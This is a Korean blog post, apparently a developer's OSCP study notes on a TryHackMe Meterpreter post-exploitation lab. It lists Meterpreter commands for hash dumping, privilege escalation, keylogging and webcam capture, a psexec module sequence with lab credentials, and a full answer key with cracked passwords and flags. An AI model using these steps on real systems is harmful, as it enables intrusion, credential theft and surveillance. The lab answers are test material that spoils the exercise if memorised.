OSCP 4일차: Meterpreter, Post Exploitation
TryHackMe 선행 학습 - Meterpreter Commands & Post Exploitation
OSCP-03.md 에서는 Nmap으로 약점을 스캔하고 smb_login 모듈을 써서 약한 비밀번호를 꿰뚫어 일반 쉘을 획득하는 과정을 다뤘다.
오늘의 학습 목표는 바로 그 SMB로 뚫고 들어간 초기 세션을 Meterpreter로 업그레이드한 이후, 이 강력한 툴로 타겟 서버를 어떻게 ‘탈탈 터는지’ 가지고 노는 시간이다.
서버 개발자 입장에서는 내 서버가 털렸을 때 해커가 내부망에서 무슨 짓을 할 수 있는지 두 눈으로 직접 확인하는… 꽤 흥미로운 경험이었다.
1. Meterpreter란 무엇인가?
Meterpreter는 메타스플로잇 프레임워크에서 지원하는 아주 특별한 ‘Payload’다. 일반 쉘보다 아득히 상위 호환이라고 불리는 이유가 명확하다.
일단 타겟 컴퓨터의 “메모리” 위에만 상주 하기 때문에 서버의 물리적인 하드디스크에 어떠한 파일도 남기지 않는다. 이건 시스템 관리자나 백신 프로그램이 악의적인 파일이나 로그를 추적하는 걸 엄청나게 빡세게 만든다. 게다가 연결 자체도 암호화된 C2(Command and Control) 형태로 통신하기 때문에 어지간한 네트워크 모니터링이나 침입 탐지 시스템(IDS)도 우회할 확률이 높다.
한마디로, “서버를 완전히 빼앗아 들키지도 안고 마음대로 갖고 놀 수 있게 해주는 원격 제어 프로그램”의 끝판왕이다.
2. 개발자 관점에서 정리한 미터프리터 핵심 명령어
미터프리터의 세션에 진입하면 meterpreter > 프롬프트로 바뀌는데, 여기서 칠 수 있는 명령어들을 대충만 요약해봐도 솔직히 무섭다. 핵심만 추려봤다.
2-1. 필수 코어 제어
background: 현재 세션을 버리지 않고 냅둔 채, 메타스플로잇 메인 메뉴로 돌아간다. (아주 자주 쓰게 된다)sessions: 백그라운드에 살려둔 전체 쉘/세션을 보여주고 언제든 넘나들 수 있게 해준다.migrate: 진짜 악질적인 기능이다. 내 미터프리터 세션을explorer.exe나svchost.exe같은 윈도우의 정상적인 기본 프로세스 안으로 기생충처럼 옮긴다. 이 명령어 하나면 처음에 뚫고 들어갔던 취약점 프로세스가 강제 종료되어도 내 세션은 살아남는다.sysinfo: 타겟의 운영체제 및 도메인 정보를 출력해준다.
2-2. 파일 / 네트워크 제어
개발자에게 익숙한 ls, cd, pwd, cat, rm 명령어들이 그대로 먹힌다. 거기에 더해…
upload/download: 서버에 있는 데이터베이스 백업 파일 같은 걸 클릭 한 번으로 내 원격 PC로 빼오거나, 내 악성 파일을 타겟 서버로 밀어넣을 수 있다.search -f: 이 명령어 한방에 시스템 드라이브 전체를 훑어서secret.txt같은 파일이 어디 처박혀 있는지 스캔해버린다.portfwd: 타겟 서버가 내부망에서만 접근 가능한 방화벽 차단 포트(예: 원격 데스크톱 3389, 내부 DB)를 내 로컬 환경으로 강제 포워딩 해준다. 로컬에서 다이렉트로 붙을 때 쓴다.
2-3. 진짜 악질적인 도청 / 감시 명령어
해커 영화에 나오는 짓들이 명령어 단 한 줄로 실행된다.
hashdump: 시스템의 SAM(Security Account Manager) 데이터베이스를 긁어서 모든 유저의 패스워드 해시를 털어낸다.getsystem: 윈도우에 존재하는 편법들을 동원해 일반 유저 권한을 극악의 윈도우 최고 권한으로 끌어올린다. (Privilege Escalation)screenshare/screenshot: 서버(혹은 관리자 PC)의 화면을 실시간으로 캡처하거나 스트리밍해버린다.keyscan_start/keyscan_dump: 사용자가 키보드로 치는 모든 내용을 가로채서 버퍼에서 훅(Hook)으로 빼내온다.record_mic/webcam_snap: 마이크 소리를 강제로 몇 초간 녹음하거나 웹캠으로 현재 사진을 찍어버린다.
명령어 리스트를 보면서 노트북 웹캠에 왜 아직도 스티커를 안 붙여놨는지 식은땀이 났다.
3. Post-Exploitation 실전 랩 (문제 및 정답 요약)
앞서 뚫은 SMB 통로를 그대로 활용해 psexec 익스플로잇을 던지는 시나리오다. 미리 획득한 ballen/Password1 이라는 허술한 SMB 자격 증명(Credentials)을 세팅하고 시작한다.
# SMB 인증 취약점을 통한 세션 획득 과정
use exploit/windows/smb/psexec
set RHOSTS [타겟_IP]
set SMBUser ballen
set SMBPass Password1
exploit
성공적으로 Meterpreter 세션이 열리고, 아래의 정보 수집 목표들을 차례로 풀어봤다.
1. What is the computer name?
- 정답:
ACME-TEST - 팁: 단순히 미터프리터 상에서
sysinfo명령어를 치면 OS 정보와 함께Computer항목에 바로 이름이 뜬다.
2. What is the target domain?
- 정답:
FLASH - 팁: 이것도
sysinfo를 치면Domain필드 값으로 뻔히 나와 있다.
3. What is the name of the share likely created by the user?
- 정답:
speedster - 팁: 정보 수집을 위한 포스트(Post) 모듈인
use post/windows/gather/enum_shares를 로드하고,set SESSION 1명령으로 이미 뚫어놓은 미터프리터 세션을 타겟으로 매핑한 후run을 돌렸다. 그랬더니 유저가 생성한 공유 폴더 리스트가 줄줄이 튀어 나왔다.
4. What is the NTLM hash of the jchambers user?
- 정답:
69596c7aa1e8daee17f8e78870e25a5c - 팁:
sessions -i 1로 다시 세션 안으로 들어가hashdump명령어를 치면 전체 NTLM 해시가 나온다. 거기서 긁어오면 끝.
5. What is the cleartext password of the jchambers user?
- 정답:
Trustno1 - 팁: 이전 랩에서 배웠던 해시 크래킹의 연장선이다. 해시를 얻어냈으니, 굳이 Hashcat으로 쥐어짜기 전에
https://crackstation.net/같은 온라인 레인보우 테이블 검색기에 복붙하면 평문 패스워드가 광속으로 튀어나온다. 비밀번호를 신뢰하지 말라더니(Trust no 1), 정작 본인 비밀번호가 1초 만에 풀렸다.
6. Where is the “secrets.txt” file located? (Full path)
- 정답:
c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt - 팁: 윈도우에서 숨겨진 텍스트 파일 찾으려면 혈압 오르는데, 미터프리터의
search -f secrets.txt명령어는 기가 막히게 정확한 경로를 배달해 준다. (근데 뭐가 문제인지, 상당히 오래 걸렸다.) 7. What is the Twitter password revealed in the “secrets.txt” file? - 정답:
KDSvbsw3849! - 팁: 경로를 찾았으니 바로 읽으면 그만이다.
cat "c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt"커맨드로 까보면 얌전하게 모셔진 계정 정보가 드러난다.
8. Where is the “realsecret.txt” file located? (Full path)
- 정답:
c:\inetpub\wwwroot\realsecret.txt - 팁: 마찬가지로 웹루트에 숨겨진 파일을
search -f realsecret.txt로 찾아냈다.
9. What is the real secret?
- 정답:
The Flash is the fastest man alive - 팁:
cat으로 텍스트를 열어보면 이 시스템 주인이 스피드스터이자 심각한 DC의 플래시 덕후라는 TMI까지 털 수 있다.
마치며
이번 랩은 해커가 왜 그토록 취약점을 하나라도 잡아서 Shell을 우선적으로 따내려고 밤을 새우는지 아주 노골적으로 깨닫게 해줬다.
아주 허술한 SMB 암호 하나(Password1)가 외부에 노출되었을 뿐이다.
하지만 그걸 기점으로 익스플로잇이 동작해 미터프리터가 침투하고 나니, sysinfo, search, hashdump 같은 명령어 몇 번에 C드라이브 구석에 꼭꼭 숨겨둔 계정 비밀번호 파일까지 탈탈 털려버리는 꼬리잡기식 연쇄작용이 일어났다.
만약 이게 내가 힘들게 띄워놓은 클라우드 프로젝트의 인스턴스였다고 상상하면 정말 등골이 서늘하다.
시스템 개발자로서 패스워드 정책 관리와 불필요한 포트의 방화벽 차단이 얼마나 무서운 나비효과를 차단하는 핵심 기초인지, 단순히 코드를 치면서는 절대로 느낄 수 없었던 생생한 위기감이 밀려왔다.
진짜 해킹은 시스템에 들어간 뒤부터 시작된다.
마침.
다른 글 보기
Bye AWS, Hello Azure! Azure 인프라 셋팅
주주: 갓생 상장기를 AWS에서 Azure로 옮기면서 잡은 인프라 구조와 그 선택 이유. 그냥 내가 다시 보려고 정리
주주 클로즈 베타 테스트 후기.
베타 테스트는 필수이고, 테스터는 신이다
OSCP 3일차: Metasploit, 이제부터가 진짜.
TryHackMe 선행 학습 - Metasploit Introduction & Exploitation
OSCP 2일차: John the Ripper 실습
TryHackMe 선행 학습 - John the Ripper Basics